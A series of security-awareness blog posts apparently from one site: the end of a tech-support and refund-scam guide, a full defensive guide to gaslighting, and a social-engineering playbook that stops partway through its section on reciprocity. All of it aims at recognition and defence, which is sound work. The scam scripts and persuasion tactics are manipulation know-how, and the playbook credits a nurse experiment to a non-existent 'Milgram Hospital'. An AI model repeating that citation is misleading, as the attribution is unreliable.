Scareware](/what-is-scareware) owns the fake-alert malware category, [Social Engineering Playbook](/social-engineering-playbook) owns the persuasion techniques, and [What Is Phishing](/what-is-phishing) owns email lures. This page owns the scam itself. ## Act one: the alarm Three common openings. **The browser locker.** You land on a page, often from a mistyped address, a malicious advertisement on an otherwise ordinary site, or a link in a search result. The page goes full screen, plays an alarm sound, shows something styled like a system warning, and displays a support number. It resists closing: dialogs reappear as fast as you dismiss them, the tab will not close, and some versions play a recorded voice. The mechanics are mundane. The page requests full-screen mode, loops repeated dialog boxes, and intercepts the attempt to leave. Some pages display your IP address, city, browser and operating system, all of which any web page can read, presented as evidence of a deep scan. What it cannot do is examine your computer. A page in a browser sandbox has no view of your files, your antivirus, or whether anything is wrong. **The cold call.** A caller says they are from Microsoft, Apple, your internet provider or a security company, and that your machine is sending errors or has been reported as infected. None of those companies do this. Microsoft does not monitor your computer for faults and telephone you about them. **The fake invoice.** An email confirms a renewal you did not order, for a subscription you do not have, with a plausible amount and a number to call to cancel. This one is effective because you make the call, so the usual advice about unsolicited contact does not feel like it applies. The same technique is used at the start of some ransomware intrusions against businesses. ## Act two: the call The person who answers is calm, professional and patient. They will spend as long as needed. The goal is remote access. You are guided to install a legitimate remote support tool, the kind used by real help desks, and to read out a connection code. From that moment they can see your screen and control your machine. Then comes the diagnosis, which is a performance built from real Windows utilities chosen for how their normal output looks: - **Event Viewer.** Every Windows machine logs warnings and errors continuously as part of normal operation. Scrolling through a list of red and yellow entries looks like catastrophic damage to anyone who has not seen it before. - **`netstat`.** Lists network connections. Ordinary browsing produces many, and each foreign address is presented as an intruder. - **`tree`.** Prints a directory structure for a long time, which looks like a scan in progress. - **`assoc`.** Prints file type associations, including a long identifier for `.zfsendtotarget`. Some scripts read that identifier out as your "computer licence ID" and claim it proves the machine is registered to them. - **The Windows temp folder**, whose ordinary contents are described as infections. - **`msconfig` or Task Manager**, where anything unfamiliar is a virus. Sometimes something genuinely harmful is added: a payload installed while you watch, a browser extension, a persistent remote tool, or a look through documents and browser-stored passwords. Occasionally the caller sets a password on your account or locks the screen to force payment. Then the fee. A few hundred for a cleanup, more for a multi-year "protection plan", paid by card, transfer or gift card. ## Act three: the refund scam This variant is the one that produces the large losses, and it usually arrives months later, sometimes from a different group using a list of previous victims. The story is that the company is closing, or that your protection plan is being refunded. You are asked to log in to your bank so the refund can be processed. You are then asked to type an amount into a form. What follows is a manipulation of what you see. With control of your screen, the caller edits the displayed page in the browser's developer tools so the balance appears to show a much larger deposit than intended, or they move money between your own accounts so the checking balance rises. Either way the screen shows an overpayment. Say, they meant to refund 300 and it shows 30,000. Then the distress: the caller says they will lose their job, that the error must be corrected before their shift ends, that you must return the difference immediately. The return is requested in gift cards read over the phone, cryptocurrency through an ATM, a wire transfer, or cash handed to a courier at your door. No money ever arrived. Every payment you send is your own. Two things make this work. The screen is trusted more than the account, and no money left your account during the setup, so the victim's own check confirms the story. And the emotional pressure inverts the relationship: the victim is now helping someone in trouble rather than defending themselves. ## Recognising it, in one list - Unsolicited contact about a problem you had not noticed. - A phone number inside an error message. Real system errors never include one. - Urgency with a deadline measured in minutes. - A request to install remote access software. - A request for payment in gift cards, cryptocurrency, wire transfer or cash to a courier. - Being told not to discuss it with your bank, your family or the police. - A refund that is larger than expected, followed by a request to return the difference. - Anyone asking you to log in to your bank while they watch. The last two are conclusive. Nothing legitimate has that shape. ## What to do **If a warning page has taken over the browser:** 1. Do not call the number. 2. End the browser process: Ctrl+Shift+Esc on Windows, Cmd+Option+Esc on a Mac. 3. Reopen and decline to restore the previous session. 4. Clear the site's data, and run a scan if you downloaded anything. Nothing is infected. The page was a page. **If you are on the phone with them:** hang up. There is no version of the conversation that ends well, and there is nothing to be gained by arguing. **If you installed remote access software or gave them control:** 1. **Disconnect from the internet first.** Unplug the cable or turn off wifi. This ends the session immediately, which matters more than anything else in the first minute. 2. **Uninstall the remote access tool.** Check for more than one; several may have been installed. 3. **From a different device**, change your email password first, because email is the reset path for everything else, then banking, then everything of value. Enable two-factor authentication as you go. [Password Managers Guide](/password-managers-guide) and [Two-Factor Authentication Guide](/two-factor-authentication-guide) cover doing this properly. 4. **Call your bank** on the number printed on your card, and tell them exactly what happened. Ask them to review recent activity and flag the account. 5. **Check for changes** you did not make: new email forwarding rules, new recovery addresses or phone numbers, new payees on the bank account, new scheduled transfers. 6. **Have the computer reinstalled**, or checked by someone you trust. You cannot verify what was left behind by watching it happen. 7. **Report it.** In the US, the FBI's IC3 and the FTC. In the UK, Action Fraud. Elsewhere, the national cybercrime reporting body. Speed matters, because payments identified within hours are occasionally recoverable. **If you paid:** - Card payments can sometimes be disputed. Call immediately. - Gift cards: call the issuer with the card numbers and receipts. If the balance has not been spent, some issuers can freeze it. Keep the physical cards and receipts. - Wire transfers and crypto: recovery is unlikely and speed is the only lever. Report anyway, because the addresses and accounts feed investigations that do sometimes take infrastructure down. And do not be embarrassed into silence. These operations are professional call centres that run this script hundreds of times a day and refine it against what works. Being taken in by a practised operator is not a character flaw, and the shame is what stops people telling their bank in the window where the bank can still act. ## Helping someone at risk If you look after an older relative's technology, a few changes do most of the work: - Agree a rule in advance: nobody installs anything or gives screen control because of a phone call, and calling you first is always the right move at any hour. - Make sure they know that a screen showing a bank balance is not proof that money moved, and that the statement in the banking app on their phone is the real record. - Remove local administrator rights on the machine so software cannot be installed casually. - Set up an ad blocker, since malicious advertising is a common source of the locker pages. - Talk about the gift card rule explicitly, because it is the single most reliable stop signal and it works even when everything else has been persuasive. ## The verdict Every version of this scam depends on two consents you can simply withhold: letting a stranger control your computer, and sending value in a form that cannot be reversed. Neither is ever required by a legitimate organisation. The popup is a web page and closes with Task Manager. The caller is not from Microsoft. The refund that overpaid never arrived. And if it has already happened, the order is: disconnect, uninstall, change passwords from another device, call the bank, report it. ## Related guides - [What Is Scareware](/what-is-scareware) - [Social Engineering Playbook](/social-engineering-playbook) - [What Is Phishing](/what-is-phishing) - [How to Prevent Identity Theft](/how-to-prevent-identity-theft) - [What to Do After a Data Breach](/what-to-do-after-data-breach) ### Sources - FBI Internet Crime Complaint Center annual reports (FBI IC3): https://www.ic3.gov/AnnualReport/Reports - How to spot, avoid, and report tech support scams (US Federal Trade Commission): https://consumer.ftc.gov/articles/how-spot-avoid-and-report-tech-support-scams - Avoid and report Microsoft technical support scams (Microsoft): https://support.microsoft.com/en-us/windows/protect-yourself-from-tech-support-scams-2ebf91bd-f94c-2a8a-e541-f5c800d18435 - Action Fraud reporting (UK National Fraud and Cyber Crime Reporting Centre): https://www.actionfraud.police.uk/ - Recognise and report scams (UK National Cyber Security Centre): https://www.ncsc.gov.uk/collection/phishing-scams --- ## How Gaslighting Works, and How to Recognize It > A defensive guide to gaslighting: the named techniques, where they show up, and how to detect, document, and safely disengage. - URL: https://blog.pwnsy.com/how-to-gaslight - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: social-engineering - Tags: gaslighting, social-engineering, manipulation, security-awareness, psychology - Related: [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained), [MGM and Caesars: One Crew, Two Help Desks, Two Answers](https://blog.pwnsy.com/mgm-caesars-attack-explained) ### TL;DR - Gaslighting is a manipulation technique that makes a target doubt their own memory and perception so a manipulator keeps control of the shared story. - The clinical core set (denial, countering, trivializing, withholding, diverting) plus the DARVO blame-reversal are named, researched patterns you can learn to spot in real time. - The most reliable tell is the effect on you: you keep notes to prove reality to yourself, you apologize for things you did not do, and you feel clearer within hours of being away from the person. - The core defenses are naming the tactic, keeping a contemporaneous record the manipulator cannot edit, and running events past a trusted person outside the relationship. ### Key Takeaways - Naming the pattern is the first defense: research on DARVO shows that simply educating people about the manipulation reduces its effect on them. - Contemporaneous documentation stored where the other person cannot reach it is the counter to an attack on your memory. - Isolation is the precondition gaslighting depends on, so an out-of-band reality check with a trusted third party breaks it. - Cheap AI voice cloning and deepfakes now let a manipulator manufacture false evidence, which raises the value of preserved original files and independent corroboration. - When gaslighting is part of coercive control, the safest exit is a planned one, and 24/7 advocates exist to help build that plan. In Patrick Hamilton's 1938 play *Gas Light*, a husband dims the gas lamps in the house a little each evening. When his wife notices the light change, he tells her calmly that nothing has changed, that she is imagining it, that her mind is slipping. He does this to hide a crime, and he does it so steadily that she begins to accept his account over the evidence of her own eyes. The 1944 film adaptation with Ingrid Bergman fixed the image in the culture, and the technique took the play's name. The word became common enough that Merriam-Webster made "gaslighting" its 2022 Word of the Year, after lookups rose 1,740 percent in a single year. The dictionary defines it as the act of grossly misleading someone, especially for one's own advantage. That is the everyday sense. The clinical sense, the one this guide treats, is narrower and more dangerous: psychological manipulation that leads a person to doubt their own perception, memory, and judgment, until they rely on the manipulator to tell them what is real. We cover this the way the Social Engineering Playbook covers attacker tactics. The point is recognition. Gaslighting works on the same principle as a phishing kit or a pretext call. It exploits a trusted channel, in this case your own memory, and it depends on you not knowing the move when you see it. Learn the moves and they lose most of their power. A documented modern example shows the scale this reaches. In a civil forfeiture action filed in January 2026 by the U.S. Attorney's Office for the District of Massachusetts, a Massachusetts resident who was groomed through an online romance in early 2025 was guided into a fake cryptocurrency investment platform. When the victim tried to withdraw the money, the operators demanded a roughly 200,000 dollar IRS "tax" before releasing the funds. The victim kept paying past 400,000 dollars. The manipulation there was the steady rewriting of who was at fault, so the victim funded their own loss and defended the scheme to worried family. The fake platform was only the backdrop. Emotional and psychological abuse count. You do not need bruises to call. In the US, the National Domestic Violence Hotline is free, confidential, and available 24/7 at 1-800-799-7233, or text START to 88788, or chat at thehotline.org. For dating and younger relationships, loveisrespect is at 1-866-331-9474, or text LOVEIS to 22522. Where gaslighting overlaps with sexual coercion, RAINN's National Sexual Assault Hotline is at 1-800-656-4673 (rainn.org). Help exists internationally too. In the UK, the National Domestic Abuse Helpline run by Refuge is 0808 2000 247, 24/7. Elsewhere, search your national domestic abuse helpline. ## Why it works Every other security control assumes you can trust your own record of events. You know whether you sent that wire, whether you agreed to that term, whether that promise was made. Gaslighting attacks that assumption directly. It goes after the instrument you use to check everything else. The mechanism is repetition and confidence. A single denial is easy to shrug off. Denial delivered calmly, repeatedly, and with total certainty, over weeks and months, starts to outweigh a memory that was only ever a fleeting impression. Psychology Today's clinical overview describes gaslighters starting with minor falsehoods that expand over time, until the target comes to rely on the gaslighter's version of reality, with the manipulation aimed at foundational parts of identity and self-worth. The result is a target who audits themselves instead of the manipulator. That self-audit is the payload. Once you are spending your energy questioning your own recall, you have stopped questioning the person who is misleading you. ## The techniques, and what each one feels like from the inside The clinically documented core set is enumerated by the National Domestic Violence Hotline. Each move below is paired with the signal you would actually notice, because in the moment you rarely catch the tactic by its name. You catch it by its effect on you. ### Outright denial and forgetting The manipulator flatly denies events, statements, or promises you clearly remember, and denies denying. The Hotline lists the stock lines: "I don't know what you're talking about," "You're just making stuff up," "You're crazy, that never happened." This is the load-bearing move. It targets the shared factual record, and if you accept the denial once, every later technique gets easier. Signal: you start saving texts, screenshots, receipts, or keeping a private log specifically to prove to yourself that a real event happened. Needing evidence to trust your own memory of something you witnessed with your own eyes is the tell. ### Countering, an attack on your memory Rather than deny the event, the manipulator concedes something happened but insists you have it wrong, then adds invented details. The Hotline framing: "You're wrong, you never remember things correctly," "Are you sure? You tend to have a bad memory." It reframes an accurate memory as a defective one. Signal: you walk into a conversation certain of what happened and walk out unsure, then find your certainty returns once you are away from the person. Confidence that evaporates only in their presence is the signal. ### Trivializing your reaction The manipulator minimizes your feelings so that your reaction becomes the problem in place of whatever triggered it. The Hotline lines: "You're going to get angry over a little thing like that?" and "You're too sensitive." Repeated, it teaches you that your emotional readings are unreliable and not worth voicing. Signal: you preface your own feelings with apologies ("I know this is silly, but...") and increasingly decide not to raise things at all, because you expect to be told you are dramatic. Pre-shrinking your own reactions is the tell. ### Withholding The manipulator refuses to engage, claims not to understand, or accuses you of trying to confuse them, shutting the conversation down before reality can be compared. The Hotline lines: "I don't want to hear this again" and "You're trying to confuse me." It denies you any chance to reconcile the two accounts. Signal: concerns never get resolved, because the discussion is always ended, deferred, or turned into an accusation that you are the confusing one. A backlog of topics you are never allowed to finish is the signal. ### Diverting and blocking When you raise something, the manipulator switches topics or questions where the idea came from, often smearing the friend or article behind it. The Hotline line: "Is that another crazy idea you got from your friend?" This dodges the point and pre-poisons your outside sources of reality-checking at the same time. Signal: every time you cite a friend, a relative, or something you read, the conversation turns into a critique of that source instead of the issue you raised. The point you came in with never gets addressed. ### DARVO, the move to expect the moment you confront DARVO stands for Deny, Attack, Reverse Victim and Offender. It is a named pattern coined by Dr. Jennifer Freyd of the University of Oregon in a 1997 peer-reviewed article. Confronted about a harm, the person Denies it happened, Attacks the credibility of the one confronting them, and Reverses victim and offender so they become the wronged party and the real victim becomes the accused aggressor. Research by Harsey and Freyd found that exposure to DARVO is associated with more self-blame in the person doing the confronting, and it makes observers believe the victim less and blame them more. Projection often rides along, where the manipulator accuses you of the exact behavior they are doing. The important finding for defense: Harsey and Freyd also found that educating people about DARVO measurably blunts its effect. Knowing the script in advance is the counter. Signal: you start a conversation to raise a legitimate grievance and end it apologizing, comforting them, or defending yourself against a charge that mirrors what you originally raised. Walking in as the hurt party and walking out as the accused is the DARVO fingerprint. ### Rewriting history The manipulator restates past events with a revised version and repeats it until you rely on that version instead of your own. This moves the manipulation from single disputed events to your whole autobiography. Signal: you find yourself unsure about long-settled facts of your own life, your motives, your past choices, and you increasingly reach for the other person's account as the authoritative one. ### Isolation from corroborating people The manipulator cuts you off from anyone who could confirm reality, and works the other direction too. Psychology Today notes that gaslighters try to turn others against the victim, including their own friends and family, by telling them the victim has been lying or is delusional. With outside reality-checks removed, the manipulator's account becomes the only one you hear. Signal: your circle has quietly shrunk to mostly this one person, seeing friends or family now triggers conflict or guilt, and you sense people have been told a version of you that you do not recognize. ### Love-bombing, then devaluation The relationship often opens with intense praise, rapid intimacy, and idealization. Psychology Today notes a gaslighter may praise a target on a first date and immediately confide in them, building fast, false trust before the manipulation escalates. Affection is later withdrawn, replaced with criticism, then intermittently restored. The swing makes you work to earn back the good phase, and that work is the leverage. Signal: the relationship felt unusually intense and flattering at the very start, and now you find yourself chasing the version of the person you saw early on, treating their warmth as a reward for compliance. ### Manufactured evidence Some manipulators stage small distortions so their false account looks corroborated, moving or hiding objects you mentioned, or presenting selectively edited exchanges so your memory looks wrong. This is the mechanism the original *Gas Light* story is named for. It converts denial into apparent proof, which is far harder to resist than words alone. Signal: physical details keep failing to match your memory in ways that always favor the other person's story, and when you point to proof it gets reframed or contradicted by something that conveniently appeared or vanished. The pattern, not any single instance, is the signal. ### The fastest self-check Across all of these techniques, the reliable diagnostic is the effect on you. The documented effects include constant self-doubt about memory and judgment, frequent apologizing, feeling confused or crazy, walking on eggshells, keeping evidence to defend your own reality, and feeling more sure of yourself when away from the person. Signal: you regularly ask yourself "am I crazy?", you rehearse conversations in advance and replay them after, and you feel materially clearer within hours of being away from the person. That gap between how you feel with them and without them is the single most useful signal. ## Where it shows up Gaslighting is weaponized well beyond intimate relationships. Each of these domains has a documented case. **Romance and pig-butchering scams.** Gaslighting is the engine that keeps a victim funding a fake investment, as in the Massachusetts DOJ case above. The FTC reported that US consumers lost 1.14 billion dollars to romance scams in 2023, across 64,003 reports, with a median individual loss of 2,000 dollars. Recognition cues: a fast-moving online-only relationship that refuses video or in-person meetings, a pivot to a can't-lose crypto or trading opportunity, and every withdrawal attempt triggering a new fee plus subtle blame ("you rushed it," "you don't trust me"). Treat any withdrawal fee as proof of fraud. **High-control groups and cults.** At the 2019 federal trial of NXIVM founder Keith Raniere in the Eastern District of New York, clinical and forensic psychologist Dr. Dawn Hughes testified that when psychological manipulation happens repetitively and over time, it functions to make the victim not trust her own perceptions or judgment. She described how a perpetrator who can control victims verbally does not need to hit them, and how threats to release compromising material, NXIVM's so-called collateral, produce a sense of powerlessness that traps members. Raniere was convicted on all seven counts, including racketeering and sex trafficking. Recognition cues: a leader who rewrites members' memories of their own past ("you were broken before us"), reframes doubt as a personal defect, and collects secrets or collateral. **Workplace and institutions.** Kukreja and Pandey (Frontiers in Psychology, 2023) developed and validated the Gaslighting at Work Questionnaire across five studies totaling 679 employees. They found two dimensions, trivialization (a supervisor minimizing an employee's concerns) and affliction (directed emotional harm), and that gaslighting predicted lower job satisfaction. Recognition cues: a manager who denies documented commitments, reframes your accurate account as "you're being too sensitive," then blames the resulting mistakes on you. Keep written records and compare notes with peers. **Medical gaslighting.** Moss and colleagues, in JAMA Network Open on May 8, 2025, surveyed 447 patients before their first visit to a vulvovaginal referral clinic. Among the findings: 52.8 percent had been told their exam was normal despite significant pain, 41.6 percent were told to "just relax more," 39.4 percent were made to feel crazy (the behavior they rated most distressing), and 52.8 percent had considered giving up on care. Recognition cues: being told pain is "in your head" before a real workup, or referred to psychiatry in place of medical evaluation rather than alongside it. Bring a written symptom log, and ask that both your symptoms and their dismissal be documented in the chart. **Corporate doubt.** The tobacco industry's campaign is the most thoroughly documented example of manufacturing doubt at scale. A 1969 Brown & Williamson internal memo, now in the UCSF Truth Tobacco Industry Documents library, stated: "Doubt is our product since it is the best means of competing with the body of fact that exists in the mind of the general public." Naomi Oreskes and Erik Conway's *Merchants of Doubt* traces the same playbook forward. Recognition cues: coordinated messaging that "the science isn't settled" long after it is, industry-funded institutes producing counter-studies, and overwhelming evidence framed as mere controversy. Check who funds the doubt. **Political and state disinformation.** Christopher Paul and Miriam Matthews of RAND described the Russian "firehose of falsehood" model in 2016: high-volume and multichannel, rapid and continuous, with no commitment to objective reality and no commitment to consistency. By flooding audiences with contradictory claims, it overwhelms fact-checking and erodes public confidence that any shared reality is knowable, which is the population-scale analogue of gaslighting. RAND's counsel: do not try to chase every falsehood, forewarn audiences about the tactic, and focus on the manipulator's intent. **The AI force-multiplier.** Fabricated audio, images, and text now let a manipulator manufacture evidence that contradicts your true memory. Reporting notes that voice-cloning services cost under ten dollars a month and need only seconds of sample audio, so fake recordings can be produced after the fact. Legal and forensic sources describe two mirror-image harms: fabricated media used to make you doubt real events, and the "deepfake defense," where a manipulator dismisses genuine recordings as fakes. ABC Action News reported a case in which a woman spent about two days in a Florida jail after an ex-partner allegedly fabricated AI-generated text messages that led to her arrest for violating a no-contact order, and the case took roughly eight months to resolve after a judge questioned the messages' authenticity. Both humans and current detection tools are unreliable at telling real from synthetic, which is precisely why the analog defenses below carry even more weight. ## How to defend, detect, document, and disengage This is the section that matters. The techniques above are a threat model. Here is the control set. ### Name it Naming the pattern is itself protective. The DARVO research shows that educating people about the manipulation reduces its effect on them. When you can label a move in the moment ("this is a reversal," "this is countering"), it registers as a recognized tactic rather than a fresh wound. This is the same logic as inoculation theory, which we return to below. ### Anchor reality with a contemporaneous record Because gaslighting attacks memory, the counter is an external record the manipulator cannot edit. Keep a dated log of incidents: what was said, the date, the time, the location. Preserve original messages, emails, and photos. Reading your own notes back lets you check your memory against a fixed record and prove to yourself that you are not imagining things. Store the copies where the other person cannot reach or delete them, such as a cloud account they do not know about, or with a trusted person. This record is also the evidentiary backbone if a protective order or coercive-control claim is ever pursued. Against the AI vector, provenance is your friend. Preserve original files rather than screenshots, because source files and metadata aid authentication. Do not accept an unverifiable recording or message as ground truth against your own documented record. Where the stakes are legal, seek forensic authentication rather than trusting the naked eye or ear. And reduce the raw material a cloner can harvest by limiting how much of your voice and image is publicly available. ### Break the isolation with an out-of-band reality check Gaslighting thrives when only one other person is defining reality, because then you have no comparison point. Run events past a friend, relative, or therapist outside the relationship before you concede the manipulator's version. Hearing "that makes sense" or "I believe you" from a safe outside person retrains you to treat your own perceptions as real. Notice, too, if the manipulator works to cut off exactly these contacts. Active effort to isolate you is a coercive-control red flag on its own. ### Inoculate yourself in advance William McGuire's inoculation theory (1961) uses a vaccine analogy: a weakened dose of a manipulation, plus a warning that persuasion is coming and a preemptive refutation, builds resistance to the real thing. Technique-based inoculation gives umbrella protection that transfers to attacks you were never specifically shown, which is exactly what learning the DARVO or countering patterns does for you here. There is empirical proof this works. Jon Roozenbeek and Sander van der Linden at the University of Cambridge built "Bad News," a free 15-minute browser game where players practice manipulation techniques in weakened form. In a study of roughly 15,000 participants, the perceived reliability of manipulative content dropped about 21 percent after play, with no drop in how people rated genuine content. The effect held across age, education, gender, and political affiliation, and those most initially vulnerable benefited most. Reading a guide like this one relies on the same mechanism. ### Reconnect with your own signals Chronic gaslighting severs your connection to your own judgment, so recovery is the slow work of relearning to trust your perceptions. Clinicians recommend trauma-informed therapy, reconnecting with body signals (a tight stomach or racing heart often registers that something is wrong before the conscious mind catches up), and rebuilding self-trust by keeping small promises to yourself so you relearn that your own word is reliable. Journaling doubles as a self-trust tool, letting you see your own consistent account on paper. ### Disengage with grey rock when you cannot cut contact The grey rock method means becoming deliberately boring, neutral, and unreactive, so a manipulator who feeds on emotional reactions loses interest. Short factual answers ("yes," "no," "I didn't know that"), a flat tone, minimal personal information, slow replies. Sources including the Cleveland Clinic present it as a bridge for situations that require ongoing contact, such as co-parenting, a coworker, or a relative, while you prepare to leave or set firmer boundaries. One important caveat from those same sources: grey rock is not guaranteed to work, and it can escalate anger when the manipulator notices the reaction has stopped. Pair it with a safety plan. ### Leave safely, with a plan When gaslighting is part of coercive control or intimate-partner abuse, the safest exits are planned ones. The National Domestic Violence Hotline advises a personalized safety plan: setting money aside or having a trusted person hold it, preserving evidence of abuse, and, for the departure itself, changing locks, phone numbers, routines, and routes afterward. The period around leaving is often the riskiest, which is why advocates are available 24/7 to help tailor a plan to your situation. The law is beginning to recognize this. In England and Wales, Section 76 of the Serious Crime Act 2015 created the offence of controlling or coercive behaviour in an intimate or family relationship, carrying a maximum of five years' imprisonment. In the US, a growing number of states, including California, Connecticut, Hawaii, Colorado, Washington, New Jersey, and Massachusetts (signed in June 2024), now recognize coercive control, though most of these laws are civil (protective orders and custody) rather than criminal, with Hawaii the notable criminal exception. This area is changing, so check the current status where you live. ## How to help someone who is being gaslit You can undo a lot of the damage by being an honest reality anchor. The line to hold is that you affirm their right to trust their own memory without substituting your account for theirs. Listen and reflect their experience back in affirming language. Validate their perception. Be the trusted person they can call after an incident, someone who will honestly say "no, that is not normal" when they have been told that it is. Choose honesty over automatic side-taking, because the goal is the truth. Do not make yourself their sole proof of reality, and instead encourage several trusted people plus a neutral professional who can reinforce their sense of reality. Try not to villainize their partner for them, because being told what to think can itself feel like a version of the same control. The balance is validation, education, and empowerment, so the person rebuilds their own internal confidence. If you suspect you are being gaslit, ask yourself a single diagnostic question: do I feel materially saner and clearer within a few hours of being away from this person? A yes is worth more than winning any single argument about what did or did not happen. Your perception steadying itself the moment the pressure lifts is data. ## Resources If any of this describes your situation, or someone you care about, these lines are free, confidential, and staffed 24/7. - **US National Domestic Violence Hotline** (covers emotional and psychological abuse): 1-800-799-7233, text START to 88788, or chat at thehotline.org - **loveisrespect** (dating abuse, younger relationships): 1-866-331-9474, or text LOVEIS to 22522 - **RAINN National Sexual Assault Hotline** (where gaslighting overlaps with sexual coercion): 1-800-656-4673, or chat at rainn.org - **UK National Domestic Abuse Helpline**, run by Refuge: 0808 2000 247, 24/7. In an emergency, call 999. Help exists internationally. If you are outside these countries, search for your national domestic abuse helpline. The manipulation described here is designed to make you feel alone with it. You are not, and the fact that you can name it now is the first thing it cannot survive. ### Sources - What Is Gaslighting? (National Domestic Violence Hotline): https://www.thehotline.org/resources/what-is-gaslighting/ - DARVO: Deny, Attack, Reverse Victim and Offender (Dr. Jennifer J. Freyd, University of Oregon): https://www.jjfreyd.com/darvo - Gaslighting (clinical overview) (Psychology Today): https://www.psychologytoday.com/us/basics/gaslighting - Word of the Year 2022: Gaslighting (Merriam-Webster): https://www.merriam-webster.com/wordplay/word-of-the-year-2022 - Experiences of Care and Gaslighting in Patients With Vulvovaginal Disorders (JAMA Network Open (Moss et al., May 8, 2025)): https://pmc.ncbi.nlm.nih.gov/articles/PMC12062909/ - Workplace gaslighting: Conceptualization, development, and validation of a scale (Frontiers in Psychology (Kukreja & Pandey, 2023)): https://pmc.ncbi.nlm.nih.gov/articles/PMC10097938/ - The Russian 'Firehose of Falsehood' Propaganda Model (RAND Corporation (Paul & Matthews, 2016)): https://www.rand.org/pubs/perspectives/PE198.html - Fake news 'vaccine' works: 'pre-bunk' game reduces susceptibility to disinformation (University of Cambridge): https://www.cam.ac.uk/research/news/fake-news-vaccine-works-pre-bunk-game-reduces-susceptibility-to-disinformation - United States Attorney's Office Files Civil Forfeiture Action to Recover Cryptocurrency Involved in Money Laundering Scheme (U.S. Attorney's Office, District of Massachusetts): https://www.justice.gov/usao-ma/pr/united-states-attorneys-office-files-civil-forfeiture-action-recover-cryptocurrency - 'No one verified the evidence': Woman says AI-generated deepfake text sent her to jail (ABC Action News Investigation): https://6abc.com/post/no-verified-evidence-woman-says-ai-generated-deepfake-text-sent-jail-action-news-investigation/18373467/ - Beyond Cybersecurity: Deepfake Audio Is An Evidence Crisis (Forbes (Lars Daniel)): https://www.forbes.com/sites/larsdaniel/2026/03/15/beyond-cybersecurity-deepfake-audio-is-an-evidence-crisis/ - Relationship Abuse Safety Planning (National Domestic Violence Hotline): https://www.thehotline.org/plan-for-safety/ --- ## The Social Engineering Playbook > Master the tactics attackers use to manipulate people, pretexting, baiting, vishing, and more, and learn how to defend against them. - URL: https://blog.pwnsy.com/social-engineering-playbook - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: beginner - Category: social-engineering - Tags: social-engineering, human-hacking, security-awareness, phishing, osint - Related: [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained) ### TL;DR - Social engineering exploits six psychological principles (authority, urgency, social proof, reciprocity, liking, commitment), recognizing these in real time is the first layer of defense. - The MGM 2023 attack ($100M+ damage) and Twitter 2020 hack both used a single phone call to reset credentials: a callback procedure to a pre-registered number would have stopped both. - AI voice cloning tools can generate convincing synthetic audio from 3-5 seconds of sample; safe word protocols and out-of-band verification through a separate pre-established channel are the only reliable defenses. - Out-of-band verification, confirming unusual requests through a channel independent of the one that initiated the request, defeats credential harvesting, BEC fraud, vishing, and smishing simultaneously. ### Key Takeaways - Every major social engineering success in documented breaches exploited the target verifying through the same channel the attack came through, out-of-band verification breaks this pattern. - LinkedIn provides attackers with employee names, org structure, technology stack, and recent changes: all the raw material needed to build a convincing pretext before making the first contact. - Hardware security keys (FIDO2) would have stopped the Twitter 2020 hack at the MFA relay step, because FIDO2 credentials are cryptographically bound to the legitimate domain and cannot be relayed from a fake portal. - Annual security awareness training has documented minimal retention; quarterly simulated vishing and phishing with immediate targeted feedback builds durable behavioral responses. - Least-privilege access design limits the blast radius of any successful social engineering attempt: a Tier 1 help desk agent who is manipulated should not have the access to compromise the entire organization. On September 11, 2023, a threat actor called MGM Resorts International's IT help desk. The call lasted approximately ten minutes. By the end of it, the attacker had convinced a help desk employee to reset the credentials for an MGM staff member whose name and basic information had been scraped from LinkedIn. The initial access that unlocked cost nothing. The subsequent ransomware attack on MGM's casino and hotel infrastructure cost over $100 million in direct damages, 10+ days of operational disruption (slot machines down, hotel key cards failing, restaurant systems offline across Las Vegas) and a Senate hearing on cybersecurity in the hospitality sector. No zero-day was involved. No sophisticated malware preceded the call. A human answered a phone, was manipulated through conversation, and made a decision that cascaded into a nine-figure crisis. Social engineering succeeds because it targets the vulnerability that cannot be patched: human decision-making under uncertainty. Technical controls stop automated attacks. They are useless against a persuasive person with accurate information and a believable pretext. Researching the OSINT side of a pretext (or defending against it)? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## Why Social Engineering Works: The Psychological Substrate Cialdini's 1984 framework (Influence: The Psychology of Persuasion) identified six principles of influence, all of which appear in documented social engineering attacks. Understanding the psychological mechanism behind each principle makes the manipulation tactics recognizable in real time. ### Principle 1: Authority Humans are conditioned from childhood to defer to legitimate authority. Compliance with authority figures is automatic: it requires deliberate override to break. Social engineers exploit authority by impersonating: - IT department / IT support - Company executives ("the CEO needs this wire processed today") - Law enforcement ("this is FBI Agent Johnson, I need to verify your account") - Government agencies ("IRS calling about your business tax liability") - Vendors with existing relationships ("this is Microsoft Azure support") The authority does not need to be verified. The *claim* of authority, delivered confidently, triggers deference. When researchers at Milgram Hospital conducted callback experiments where an unknown caller posing as "the attending physician" instructed nurses to administer unsafe drug doses, 95% of nurses complied, until they were stopped by a researcher. In security contexts: an attacker who opens with "Hi, this is Jake from the security team, I'm responding to an alert on your account" is claiming authority (IT security) and legitimacy (responding to an alert). Most employees have a strong impulse to comply. ### Principle 2: Scarcity and Urgency When time pressure is applied, analytical thinking is suppressed. The brain shifts from deliberate reasoning (System 2) to fast pattern matching (System 1). The probability of catching manipulation drops dramatically. "I need this processed before the board meeting in 15 minutes" is a mechanism for disabling critical evaluation. "Your account will be deleted in 24 hours if you don't verify now" achieves the same thing via scarcity framing. Legitimate systems do not typically require panicked immediate action. When urgency is manufactured, it is almost always manipulation. The appropriate response to manufactured urgency is always to slow down. ### Principle 3: Social Proof "Everyone else has already done this." "Your colleagues have all submitted their credentials to the new portal." "The rest of your team updated their passwords through this link." Social proof exploits the inference that if others have done something, it is probably correct and safe. In ambiguous situations (a new system, an unfamiliar process, an unusual request) people look to others' behavior as a signal. Attackers fabricate that signal. ### Principle 4: Reciprocity Do a small favor first, create an obligation. An attacker who opens by helping you ("Let me fix that for you: I can remote in right now") creates a reciprocity debt before making the ask. 